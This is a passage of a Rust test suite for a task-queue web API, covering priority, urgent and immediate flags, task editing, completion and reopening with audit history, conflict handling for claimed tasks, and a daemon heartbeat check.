18641        assert!(!q.get(&t.id).unwrap().urgent);
18642        drop(claim);
18643        for status in [
18644            TaskStatus::Running,
18645            TaskStatus::Done,
18646            TaskStatus::Failed,
18647            TaskStatus::Blocked,
18648            TaskStatus::Parked,
18649        ] {
18650            t.status = status;
18651            q.put(&mut t).unwrap();
18652            for urgent in [true, false] {
18653                let response = f
18654                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18655                    .await;
18656                assert_eq!(response.status, 400, "{}", response.body);
18657                assert!(response.body.contains(status.as_str()));
18658                assert!(response.body.contains("queued or held"));
18659                assert!(!q.get(&t.id).unwrap().urgent);
18660            }
18661        }
18662        assert_eq!(
18663            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18664                .await
18665                .status,
18666            404
18667        );
18668    }
18669
18670    #[test]
18671    fn immediate_request_requires_a_boolean_and_rejects_unknown_fields() {
18672        for immediate in [true, false] {
18673            let body: ImmediateBody =
18674                serde_json::from_value(serde_json::json!({ "immediate": immediate })).unwrap();
18675            assert_eq!(body.immediate, immediate);
18676        }
18677        for input in [
18678            r#"{}"#,
18679            r#"{"immediate":null}"#,
18680            r#"{"immediate":"true"}"#,
18681            r#"{"immediate":1}"#,
18682            r#"{"immediate":true,"extra":false}"#,
18683        ] {
18684            assert!(
18685                serde_json::from_str::<ImmediateBody>(input).is_err(),
18686                "{input}"
18687            );
18688        }
18689    }
18690
18691    #[tokio::test]
18692    async fn immediate_api_updates_preserves_urgent_returns_admission_and_validates_tasks() {
18693        let f = Fixture::start().await;
18694        let q = f.queue();
18695        let mut t = Task::new(
18696            "immediate API".into(),
18697            "unchanged".into(),
18698            PathBuf::from("/repo/magi"),
18699            Source::Human,
18700        );
18701        t.attempts = 2;
18702        t.priority = 9;
18703        t.interrupt = true;
18704        t.urgent = true;
18705        t.hold_reason = Some("waiting for approval".into());
18706        for status in [TaskStatus::Queued, TaskStatus::Held] {
18707            t.status = status;
18708            q.put(&mut t).unwrap();
18709            for immediate in [true, true, false, false] {
18710                let response = f
18711                    .post(
18712                        &format!("/api/queue/{}/immediate", t.short()),
18713                        Some(&format!("{{\"immediate\":{immediate}}}")),
18714                    )
18715                    .await;
18716                assert_eq!(response.status, 200, "{}", response.body);
18717                let payload = response.json();
18718                assert_eq!(payload["immediate"], immediate);
18719                assert_eq!(payload["urgent"], true);
18720                if immediate {
18721                    assert_eq!(payload["admission"]["mode"], "immediate");
18722                    let label = payload["admission"]["label"].as_str().unwrap_or_default();
18723                    assert!(
18724                        !label.contains("claimed by another process"),
18725                        "mutate must drop its claim before computing admission: {payload}"
18726                    );
18727                    if status == TaskStatus::Held {
18728                        assert_eq!(label, "Immediate: waiting — held (waiting for approval)");
18729                    }
18730                }
18731                let saved = q.get(&t.id).unwrap();
18732                let mut before = serde_json::to_value(&t).unwrap();
18733                let mut after = serde_json::to_value(saved).unwrap();
18734                before["immediate"] = immediate.into();
18735                before.as_object_mut().unwrap().remove("updated_at");
18736                after.as_object_mut().unwrap().remove("updated_at");
18737                assert_eq!(after, before);
18738            }
18739        }
18740        let route = format!("/api/queue/{}/immediate", t.id);
18741        for body in [
18742            r#"{}"#,
18743            r#"{"immediate":null}"#,
18744            r#"{"immediate":"true"}"#,
18745            r#"{"immediate":1}"#,
18746            r#"{"immediate":true,"extra":false}"#,
18747            "{",
18748        ] {
18749            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18750        }
18751        t.status = TaskStatus::Queued;
18752        q.put(&mut t).unwrap();
18753        let claim = q.claim(&t.id).unwrap();
18754        let response = f.post(&route, Some(r#"{"immediate":true}"#)).await;
18755        assert_eq!(response.status, 409, "{}", response.body);
18756        assert!(!q.get(&t.id).unwrap().immediate);
18757        drop(claim);
18758        for status in [
18759            TaskStatus::Running,
18760            TaskStatus::Done,
18761            TaskStatus::Failed,
18762            TaskStatus::Blocked,
18763            TaskStatus::Parked,
18764        ] {
18765            t.status = status;
18766            q.put(&mut t).unwrap();
18767            for immediate in [true, false] {
18768                let response = f
18769                    .post(&route, Some(&format!("{{\"immediate\":{immediate}}}")))
18770                    .await;
18771                assert_eq!(response.status, 400, "{}", response.body);
18772                assert!(response.body.contains(status.as_str()));
18773                assert!(response.body.contains("queued or held"));
18774                assert!(!q.get(&t.id).unwrap().immediate);
18775            }
18776        }
18777        assert_eq!(
18778            f.post(
18779                "/api/queue/missing/immediate",
18780                Some(r#"{"immediate":true}"#)
18781            )
18782            .await
18783            .status,
18784            404
18785        );
18786    }
18787
18788    #[tokio::test]
18789    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18790        let f = Fixture::start().await;
18791        let queue = f.queue();
18792        let mut older = Task::new(
18793            "filed first".to_owned(),
18794            "x".to_owned(),
18795            PathBuf::from("/repo/magi"),
18796            Source::Human,
18797        );
18798        older.id = "20260101-000001-aaaa".to_owned();
18799        let mut newer = Task::new(
18800            "filed second".to_owned(),
18801            "x".to_owned(),
18802            PathBuf::from("/repo/magi"),
18803            Source::Human,
18804        );
18805        newer.id = "20260101-000002-bbbb".to_owned();
18806        queue.put(&mut older).expect("file older");
18807        queue.put(&mut newer).expect("file newer");
18808
18809        // Equal priority: the newer task leads, the same order the old
18810        // newest-first `list()` already gave every equal-priority queue.
18811        let before = f.get("/api/queue").await.json();
18812        assert_eq!(before[0]["id"], newer.id);
18813        assert_eq!(before[1]["id"], older.id);
18814
18815        // Raising the *older* task is the meaningful case: it can only lead
18816        // now because its priority says so, not because it happens to be
18817        // newest.
18818        let raised = f
18819            .post(
18820                &format!("/api/queue/{}/priority", older.id),
18821                Some(r#"{"priority":10}"#),
18822            )
18823            .await;
18824        assert_eq!(raised.status, 200, "{}", raised.body);
18825        assert_eq!(raised.json()["priority"], 10);
18826
18827        let after = f.get("/api/queue").await.json();
18828        let names: Vec<&str> = after
18829            .as_array()
18830            .unwrap()
18831            .iter()
18832            .map(|t| t["id"].as_str().unwrap())
18833            .collect();
18834        // Highest priority first, which is the order next_runnable and
18835        // `magi task list` both use - GET /api/queue must agree with it
18836        // immediately, not just once the loop claims the task.
18837        assert_eq!(names[0], older.id, "the raised task now sorts first");
18838    }
18839
18840    #[tokio::test]
18841    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18842        let f = Fixture::start().await;
18843        let queue = f.queue();
18844        let mut tasks = Vec::new();
18845        for id in [
18846            "20260101-000001-aaaa",
18847            "20260101-000002-bbbb",
18848            "20260101-000003-cccc",
18849        ] {
18850            let mut task = Task::new(
18851                id.into(),
18852                "x".into(),
18853                PathBuf::from("/repo/magi"),
18854                Source::Human,
18855            );
18856            task.id = id.into();
18857            queue.put(&mut task).unwrap();
18858            tasks.push(task);
18859        }
18860        assert_eq!(
18861            queue.next_runnable().unwrap().id,
18862            tasks[0].id,
18863            "equal priorities use ascending id"
18864        );
18865        let route = format!("/api/queue/{}/priority", tasks[2].id);
18866        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18867        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18868        tasks[1].start("upgrade-run".into());
18869        tasks[1].park("upgrade");
18870        tasks[1].record_pass_at(
18871            "upgrade-run",
18872            0,
18873            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18874            1,
18875            Some(crate::run::ParkCause::Upgrade {
18876                from: "old".into(),
18877                to: None,
18878            }),
18879        );
18880        queue.put(&mut tasks[1]).unwrap();
18881        let rows = f.get("/api/queue").await.json();
18882        let upgrade = rows
18883            .as_array()
18884            .unwrap()
18885            .iter()
18886            .find(|row| row["id"] == tasks[1].id)
18887            .unwrap();
18888        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18889        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18890        tasks[2] = queue.get(&tasks[2].id).unwrap();
18891        tasks[2].start("running-run".into());
18892        queue.put(&mut tasks[2]).unwrap();
18893        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18894        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18895    }
18896
18897    #[tokio::test]
18898    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18899        let dir = TempDir::new().unwrap();
18900        let q = Queue::at(dir.path().join("queue"));
18901        let ui = Arc::new(Ui::new(
18902            q.clone(),
18903            Questions::at(dir.path().join("questions")),
18904            Talks::at(dir.path().join("talks")),
18905            dir.path().join("runs"),
18906            dir.path().to_path_buf(),
18907            dir.path().to_path_buf(),
18908        ));
18909        let mut t = Task::new(
18910            "budget".into(),
18911            "keep".into(),
18912            dir.path().into(),
18913            Source::Human,
18914        );
18915        t.attempts = 2;
18916        t.runs.push("prior-run".into());
18917        t.hold_manual(Some("waiting".into()));
18918        q.put(&mut t).unwrap();
18919        let change = |value| {
18920            queue_attempt_limit(
18921                State(ui.clone()),
18922                Path(t.id.clone()),
18923                Ok(Json(AttemptLimitBody {
18924                    attempt_limit: value,
18925                })),
18926            )
18927        };
18928        for value in [
18929            serde_json::json!(3),
18930            serde_json::Value::Null,
18931            serde_json::json!(1),
18932        ] {
18933            let response = change(value.clone()).await.unwrap();
18934            assert_eq!(
18935                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18936                value
18937            );
18938            let saved = q.get(&t.id).unwrap();
18939            assert_eq!(
18940                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18941                value
18942            );
18943            assert_eq!(saved.status, TaskStatus::Held);
18944            assert_eq!(saved.attempts, t.attempts);
18945            assert_eq!(saved.runs, t.runs);
18946            assert_eq!(saved.hold_reason, t.hold_reason);
18947            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18948                .await
18949                .unwrap()
18950                .0;
18951            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18952            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18953            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18954            assert_eq!(outcome.max_attempts, detail.max_attempts);
18955        }
18956        for value in [
18957            serde_json::json!(0),
18958            serde_json::json!(-1),
18959            serde_json::json!(1.5),
18960            serde_json::json!("3"),
18961            serde_json::json!(true),
18962        ] {
18963            assert_eq!(
18964                change(value).await.err().unwrap().status,
18965                StatusCode::BAD_REQUEST
18966            );
18967        }
18968        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18969        let claim = q.claim(&t.id).unwrap();
18970        assert_eq!(
18971            change(serde_json::json!(4)).await.err().unwrap().status,
18972            StatusCode::CONFLICT
18973        );
18974        drop(claim);
18975        for status in [
18976            TaskStatus::Running,
18977            TaskStatus::Done,
18978            TaskStatus::Failed,
18979            TaskStatus::Blocked,
18980            TaskStatus::Parked,
18981        ] {
18982            let mut stored = q.get(&t.id).unwrap();
18983            stored.status = status;
18984            q.put(&mut stored).unwrap();
18985            assert_eq!(
18986                change(serde_json::json!(4)).await.err().unwrap().status,
18987                StatusCode::BAD_REQUEST
18988            );
18989            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18990        }
18991        let mut stored = q.get(&t.id).unwrap();
18992        stored.status = TaskStatus::Queued;
18993        q.put(&mut stored).unwrap();
18994        let _ = change(serde_json::Value::Null).await.unwrap();
18995        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18996    }
18997
18998    #[tokio::test]
18999    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
19000        let dir = TempDir::new().unwrap();
19001        let repo = dir.path().join("repo");
19002        std::fs::create_dir(&repo).unwrap();
19003        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
19004        let q = Queue::at(dir.path().join("queue"));
19005        let ui = Arc::new(Ui::new(
19006            q.clone(),
19007            Questions::at(dir.path().join("questions")),
19008            Talks::at(dir.path().join("talks")),
19009            dir.path().join("runs"),
19010            dir.path().to_path_buf(),
19011            repo.clone(),
19012        ));
19013        let mut t = Task::new(
19014            "seats".into(),
19015            "keep instruction".into(),
19016            repo,
19017            Source::Human,
19018        );
19019        t.runs.push("prior-run".into());
19020        t.hold_manual(Some("waiting".into()));
19021        q.put(&mut t).unwrap();
19022        let change = |count| {
19023            queue_implementers(
19024                State(ui.clone()),
19025                Path(t.id.clone()),
19026                Ok(Json(ImplementersBody {
19027                    implementers: count,
19028                })),
19029            )
19030        };
19031        for count in [2, 1, 2] {
19032            let response = change(count).await.unwrap();
19033            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
19034            let saved = q.get(&t.id).unwrap();
19035            assert_eq!(saved.implementers(), Some(usize::from(count)));
19036            assert_eq!(saved.runs, t.runs);
19037            assert_eq!(saved.instruction, t.instruction);
19038        }
19039        for count in [0, 4] {
19040            assert_eq!(
19041                change(count).await.err().unwrap().status,
19042                StatusCode::BAD_REQUEST
19043            );
19044        }
19045        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
19046        let claim = q.claim(&t.id).unwrap();
19047        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
19048        drop(claim);
19049        for status in [
19050            TaskStatus::Running,
19051            TaskStatus::Done,
19052            TaskStatus::Failed,
19053            TaskStatus::Blocked,
19054            TaskStatus::Parked,
19055        ] {
19056            let mut stored = q.get(&t.id).unwrap();
19057            stored.status = status;
19058            q.put(&mut stored).unwrap();
19059            assert_eq!(
19060                change(1).await.err().unwrap().status,
19061                StatusCode::BAD_REQUEST
19062            );
19063            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
19064        }
19065    }
19066
19067    #[tokio::test]
19068    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
19069        let f = Fixture::start().await;
19070        let queue = f.queue();
19071        let mut task = Task::new(
19072            "in flight".to_owned(),
19073            "x".to_owned(),
19074            PathBuf::from("/repo/magi"),
19075            Source::Human,
19076        );
19077        task.start("20260902-140502-bbbb".to_owned());
19078        queue.put(&mut task).expect("file the task");
19079
19080        let res = f
19081            .post(
19082                &format!("/api/queue/{}/priority", task.id),
19083                Some(r#"{"priority":9}"#),
19084            )
19085            .await;
19086        assert_eq!(res.status, 400, "{}", res.body);
19087        assert!(
19088            res.json()["error"]
19089                .as_str()
19090                .is_some_and(|e| e.contains("running")),
19091            "{}",
19092            res.body
19093        );
19094        assert_eq!(
19095            queue.get(&task.id).expect("reload").priority,
19096            0,
19097            "the refused write must not partially apply"
19098        );
19099    }
19100
19101    #[tokio::test]
19102    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
19103        let f = Fixture::start().await;
19104        let queue = f.queue();
19105        let mut task = Task::new(
19106            "old title".to_owned(),
19107            "old instruction".to_owned(),
19108            PathBuf::from("/repo/magi"),
19109            Source::Agent {
19110                run: "20260101-000000-beef".to_owned(),
19111                node: "implement".to_owned(),
19112            },
19113        );
19114        task.runs.push("20260101-000000-beef".to_owned());
19115        queue.put(&mut task).expect("file the task");
19116        let created_at = task.created_at;
19117
19118        let edited = f
19119            .post(
19120                &format!("/api/queue/{}/edit", task.id),
19121                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
19122            )
19123            .await;
19124        assert_eq!(edited.status, 200, "{}", edited.body);
19125        let body = edited.json();
19126        assert_eq!(body["title"], "new title");
19127        assert_eq!(body["instruction"], "new instruction");
19128        assert_eq!(body["id"], task.id, "editing must not mint a new id");
19129        assert_eq!(body["created_at"], created_at.to_string());
19130        assert_eq!(
19131            body["source"]["kind"], "agent",
19132            "editing a task an agent filed must not turn it human: {body}"
19133        );
19134        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
19135
19136        let reloaded = queue.get(&task.id).expect("reload");
19137        assert_eq!(reloaded.title, "new title");
19138        assert_eq!(reloaded.instruction, "new instruction");
19139    }
19140
19141    #[tokio::test]
19142    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
19143        // The judge is an agent now: a repo whose only agent answers
19144        // "duplicate" stands in for it, so the refusal is the judge's.
19145        let tmp = TempDir::new().expect("tempdir");
19146        let repo = tmp.path().join("repo");
19147        std::fs::create_dir_all(&repo).expect("repo dir");
19148        let judge = MOCK_AGENT_TOML.replace(
19149            "printf ok",
19150            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
19151        );
19152        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
19153        let f = Fixture::with_repo(repo.clone()).await;
19154        let queue = f.queue();
19155        let mut owner = Task::new(
19156            "owner".to_owned(),
19157            "review it".to_owned(),
19158            repo.clone(),
19159            Source::Human,
19160        );
19161        owner.review_branch = Some("magi/ab12/A".to_owned());
19162        queue.put(&mut owner).expect("file the owner");
19163        let mut task = Task::new(
19164            "draft".to_owned(),
19165            "old".to_owned(),
19166            repo.clone(),
19167            Source::Human,
19168        );
19169        queue.put(&mut task).expect("file the draft");
19170        let url = format!("/api/queue/{}/edit", task.id);
19171
19172        let refused = f
19173            .post(
19174                &url,
19175                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
19176            )
19177            .await;
19178        assert_eq!(refused.status, 409, "{}", refused.body);
19179        let msg = refused.json()["error"]
19180            .as_str()
19181            .unwrap_or_default()
19182            .to_owned();
19183        assert!(
19184            msg.contains("magi/ab12/A") && msg.contains("force"),
19185            "{msg}"
19186        );
19187        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
19188
19189        let forced = f
19190            .post(
19191                &url,
19192                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
19193            )
19194            .await;
19195        assert_eq!(forced.status, 200, "{}", forced.body);
19196    }
19197
19198    #[tokio::test]
19199    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
19200        let f = Fixture::start().await;
19201        let queue = f.queue();
19202        let mut task = Task::new(
19203            "in flight".to_owned(),
19204            "do not touch".to_owned(),
19205            PathBuf::from("/repo/magi"),
19206            Source::Human,
19207        );
19208        task.start("20260902-140502-bbbb".to_owned());
19209        queue.put(&mut task).expect("file the task");
19210
19211        let res = f
19212            .post(
19213                &format!("/api/queue/{}/edit", task.id),
19214                Some(r#"{"title":"x","instruction":"y"}"#),
19215            )
19216            .await;
19217        assert_eq!(res.status, 400, "{}", res.body);
19218        assert!(
19219            res.json()["error"]
19220                .as_str()
19221                .is_some_and(|e| e.contains("running")),
19222            "{}",
19223            res.body
19224        );
19225        assert_eq!(
19226            queue.get(&task.id).expect("reload").instruction,
19227            "do not touch",
19228            "the refused edit must not change the file"
19229        );
19230    }
19231
19232    #[tokio::test]
19233    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
19234        let f = Fixture::start().await;
19235        let queue = f.queue();
19236        let mut task = Task::new(
19237            "busy".to_owned(),
19238            "Running right now".to_owned(),
19239            PathBuf::from("/repo/magi"),
19240            Source::Human,
19241        );
19242        queue.put(&mut task).expect("file the task");
19243        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
19244
19245        let priority = f
19246            .post(
19247                &format!("/api/queue/{}/priority", task.id),
19248                Some(r#"{"priority":9}"#),
19249            )
19250            .await;
19251        assert_eq!(priority.status, 409, "{}", priority.body);
19252
19253        let edit = f
19254            .post(
19255                &format!("/api/queue/{}/edit", task.id),
19256                Some(r#"{"title":"x","instruction":"y"}"#),
19257            )
19258            .await;
19259        assert_eq!(edit.status, 409, "{}", edit.body);
19260    }
19261
19262    #[tokio::test]
19263    async fn web_completion_distinguishes_missing_and_claimed_tasks() {
19264        let f = Fixture::start().await;
19265        let queue = f.queue();
19266        let mut task = Task::new(
19267            "claimed".into(),
19268            "leave unchanged".into(),
19269            f.home.path().into(),
19270            Source::Human,
19271        );
19272        queue.put(&mut task).unwrap();
19273        let _claim = queue.claim(&task.id).unwrap();
19274        for (action, body) in [("done", None), ("reopen", Some(r#"{"reason":"inspect"}"#))] {
19275            let missing = f.post(&format!("/api/queue/missing/{action}"), body).await;
19276            assert_eq!(missing.status, 404, "{}", missing.body);
19277            assert!(missing.json()["error"].as_str().unwrap().contains("task"));
19278
19279            let busy = f
19280                .post(&format!("/api/queue/{}/{action}", task.short()), body)
19281                .await;
19282            assert_eq!(busy.status, 409, "{}", busy.body);
19283            assert!(busy.json()["error"].as_str().unwrap().contains("claimed"));
19284        }
19285        let unchanged = queue.get(&task.id).unwrap();
19286        assert_eq!(unchanged.status, TaskStatus::Queued);
19287        assert!(unchanged.completion_history.is_empty());
19288    }
19289
19290    #[test]
19291    fn web_completion_reports_a_stale_commit_as_a_conflict() {
19292        let home = TempDir::new().unwrap();
19293        let queue = Queue::at(home.path().join("queue"));
19294        let mut current = Task::new(
19295            "stale".into(),
19296            "original".into(),
19297            home.path().into(),
19298            Source::Human,
19299        );
19300        queue.put(&mut current).unwrap();
19301        let expected = current.clone();
19302        current.instruction = "updated".into();
19303        queue.put(&mut current).unwrap();
19304
19305        let mut decision = expected.clone();
19306        decision.status = TaskStatus::Done;
19307        let error = queue
19308            .commit_completion(&mut decision, &expected)
19309            .unwrap_err();
19310        assert_eq!(ApiError::completion(error).status, StatusCode::CONFLICT);
19311        let saved = queue.get(&current.id).unwrap();
19312        assert_eq!(saved.status, TaskStatus::Queued);
19313        assert_eq!(saved.instruction, "updated");
19314    }
19315
19316    #[tokio::test]
19317    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
19318        let f = Fixture::start().await;
19319        let queue = f.queue();
19320        let mut task = Task::new(
19321            "shipped by hand".to_owned(),
19322            "merged outside the loop".to_owned(),
19323            PathBuf::from("/repo/magi"),
19324            Source::Agent {
19325                run: "20260101-000000-b455".to_owned(),
19326                node: "implement".to_owned(),
19327            },
19328        );
19329        task.runs.push("20260101-000000-b455".to_owned());
19330        task.runs.push("20260101-000000-9af4".to_owned());
19331        queue.put(&mut task).expect("file the task");
19332        let created_at = task.created_at;
19333
19334        let done = f
19335            .post(
19336                &format!("/api/queue/{}/done", task.id),
19337                Some(r#"{"discard":true,"reason":"owner cancelled retained work"}"#),
19338            )
19339            .await;
19340        assert_eq!(done.status, 200, "{}", done.body);
19341        assert_eq!(done.json()["status_str"], "done");
19342
19343        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
19344        assert_eq!(
19345            reloaded.runs,
19346            ["20260101-000000-b455", "20260101-000000-9af4"]
19347        );
19348        assert_eq!(
19349            reloaded.source,
19350            Source::Agent {
19351                run: "20260101-000000-b455".to_owned(),
19352                node: "implement".to_owned(),
19353            }
19354        );
19355        assert_eq!(reloaded.created_at, created_at);
19356        let event = reloaded
19357            .completion_history
19358            .last()
19359            .expect("completion audit");
19360        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19361        assert!(event.discard);
19362        assert_eq!(
19363            event.reason.as_deref(),
19364            Some("owner cancelled retained work")
19365        );
19366        let detail = f.get(&format!("/api/queue/{}", task.id)).await;
19367        assert_eq!(
19368            detail.json()["completion_history"][0]["occurrence"],
19369            event.occurrence
19370        );
19371    }
19372
19373    #[tokio::test]
19374    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
19375        // Explicit discard may close held work without a release; the current
19376        // hold clears while the completion audit preserves its prior status.
19377        let f = Fixture::start().await;
19378        let queue = f.queue();
19379        let mut task = Task::new(
19380            "landed while held".to_owned(),
19381            "x".to_owned(),
19382            PathBuf::from("/repo/magi"),
19383            Source::Human,
19384        );
19385        task.hold_manual(Some("waiting on 3ed9".to_owned()));
19386        queue.put(&mut task).expect("file the held task");
19387
19388        let done = f
19389            .post(
19390                &format!("/api/queue/{}/done", task.id),
19391                Some(r#"{"discard":true,"reason":"no longer needed"}"#),
19392            )
19393            .await;
19394        assert_eq!(done.status, 200, "{}", done.body);
19395        assert_eq!(done.json()["status_str"], "done");
19396        assert!(
19397            done.json()["hold_reason"].is_null(),
19398            "a done task cannot still be waiting on something: {}",
19399            done.body
19400        );
19401    }
19402
19403    #[tokio::test]
19404    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
19405        // `queue_done` is the phone's way to close a task the loop never
19406        // settled itself - after confirming a manual GitHub merge, say - and
19407        // that is just as much "this task's story is over" as the loop's own
19408        // `Merged`/`Ready` path, so it must trigger the same cleanup.
19409        let f = Fixture::start().await;
19410        let queue = f.queue();
19411        let runs = f.runs();
19412        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
19413        // The last attempt has to have actually landed for the earlier one
19414        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
19415        // for the case where it didn't.
19416        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
19417
19418        let mut task = Task::new(
19419            "landed by hand".to_owned(),
19420            "x".to_owned(),
19421            PathBuf::from("/repo/magi"),
19422            Source::Human,
19423        );
19424        task.runs.push("20260101-000000-doa1".to_owned());
19425        task.runs.push("20260101-000000-doa2".to_owned());
19426        queue.put(&mut task).expect("file the task");
19427
19428        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
19429        assert_eq!(done.status, 200, "{}", done.body);
19430
19431        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
19432            .expect("run still on disk under this fixture's own home");
19433        assert_eq!(
19434            reloaded_run.status,
19435            RunStatus::Superseded,
19436            "closing the task by hand must relabel the earlier blocked attempt exactly \
19437             like the loop's own settle path does"
19438        );
19439    }
19440
19441    #[tokio::test]
19442    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
19443        // Intentional discard preserves unsuccessful runs as unsuccessful:
19444        // closing the task does not claim they were delivered or superseded.
19445        let f = Fixture::start().await;
19446        let queue = f.queue();
19447        let runs = f.runs();
19448        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
19449        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
19450
19451        let mut task = Task::new(
19452            "closed with nothing actually landed".to_owned(),
19453            "x".to_owned(),
19454            PathBuf::from("/repo/magi"),
19455            Source::Human,
19456        );
19457        task.runs.push("20260101-000000-dob1".to_owned());
19458        task.runs.push("20260101-000000-dob2".to_owned());
19459        queue.put(&mut task).expect("file the task");
19460
19461        let done = f
19462            .post(
19463                &format!("/api/queue/{}/done", task.id),
19464                Some(r#"{"discard":true,"reason":"stop this work"}"#),
19465            )
19466            .await;
19467        assert_eq!(done.status, 200, "{}", done.body);
19468
19469        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
19470            .expect("run still on disk under this fixture's own home");
19471        assert_eq!(
19472            reloaded_run.status,
19473            RunStatus::Blocked,
19474            "the last recorded attempt never landed, so the earlier one must not be \
19475             relabelled as superseded by it"
19476        );
19477    }
19478
19479    #[tokio::test]
19480    async fn web_completion_requires_discard_and_reopens_to_held_with_an_audit() {
19481        let f = Fixture::start().await;
19482        let queue = f.queue();
19483        let mut task = Task::new(
19484            "unstarted".into(),
19485            "keep its history".into(),
19486            PathBuf::from("/repo/magi"),
19487            Source::Human,
19488        );
19489        write_run(&f.runs(), "20260101-000000-aud1", RunStatus::Failed);
19490        task.runs.push("20260101-000000-aud1".into());
19491        queue.put(&mut task).unwrap();
19492        let path = format!("/api/queue/{}/done", task.id);
19493        let refused = f.post(&path, None).await;
19494        assert_eq!(refused.status, 400, "{}", refused.body);
19495        let blank = f
19496            .post(&path, Some(r#"{"discard":true,"reason":" "}"#))
19497            .await;
19498        assert_eq!(blank.status, 400, "{}", blank.body);
19499        assert!(blank.body.contains("--discard requires a non-empty reason"));
19500        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Queued);
19501        assert!(queue.get(&task.id).unwrap().completion_history.is_empty());
19502        let closed = f
19503            .post(
19504                &path,
19505                Some(r#"{"discard":true,"reason":"owner stopped work"}"#),
19506            )
19507            .await;
19508        assert_eq!(closed.status, 200, "{}", closed.body);
19509        let reopen_path = format!("/api/queue/{}/reopen", task.id);
19510        let no_reason = f.post(&reopen_path, Some(r#"{"reason":" "}"#)).await;
19511        assert_eq!(no_reason.status, 400, "{}", no_reason.body);
19512        let reopened = f
19513            .post(&reopen_path, Some(r#"{"reason":"premature closure"}"#))
19514            .await;
19515        assert_eq!(reopened.status, 200, "{}", reopened.body);
19516        let saved = queue.get(&task.id).unwrap();
19517        assert_eq!(saved.status, TaskStatus::Held);
19518        assert_eq!(saved.completion_history.len(), 2);
19519        let event = &saved.completion_history[1];
19520        assert_eq!(event.action, crate::queue::CompletionAction::Reopen);
19521        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19522        assert_eq!(event.prior_status, TaskStatus::Done);
19523        assert_eq!(event.reason.as_deref(), Some("premature closure"));
19524    }
19525
19526    #[tokio::test]
19527    async fn unknown_ids_are_json_not_found_on_both_stores() {
19528        let f = Fixture::start().await;
19529
19530        let run = f.get("/api/runs/nosuchrun").await;
19531        let task = f.post("/api/queue/nosuchtask/hold", None).await;
19532
19533        assert_eq!(run.status, 404);
19534        assert_eq!(task.status, 404);
19535        assert!(
19536            run.json()["error"]
19537                .as_str()
19538                .is_some_and(|e| e.contains("run")),
19539            "the error names what was not found: {}",
19540            run.body
19541        );
19542        assert!(
19543            task.json()["error"]
19544                .as_str()
19545                .is_some_and(|e| e.contains("task")),
19546            "the error names what was not found: {}",
19547            task.body
19548        );
19549    }
19550
19551    #[tokio::test]
19552    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
19553        let f = Fixture::start().await;
19554
19555        let missing = f.get("/api/health").await.json();
19556        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
19557
19558        write_daemon(
19559            f.home.path(),
19560            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19561        );
19562        let stale = f.get("/api/health").await.json();
19563        assert_eq!(
19564            stale["daemon"]["running"], false,
19565            "a minute without a heartbeat is a dead daemon, not a busy one"
19566        );
19567        assert!(
19568            stale["daemon"]["stale_for_secs"]
19569                .as_i64()
19570                .is_some_and(|s| s >= 55),
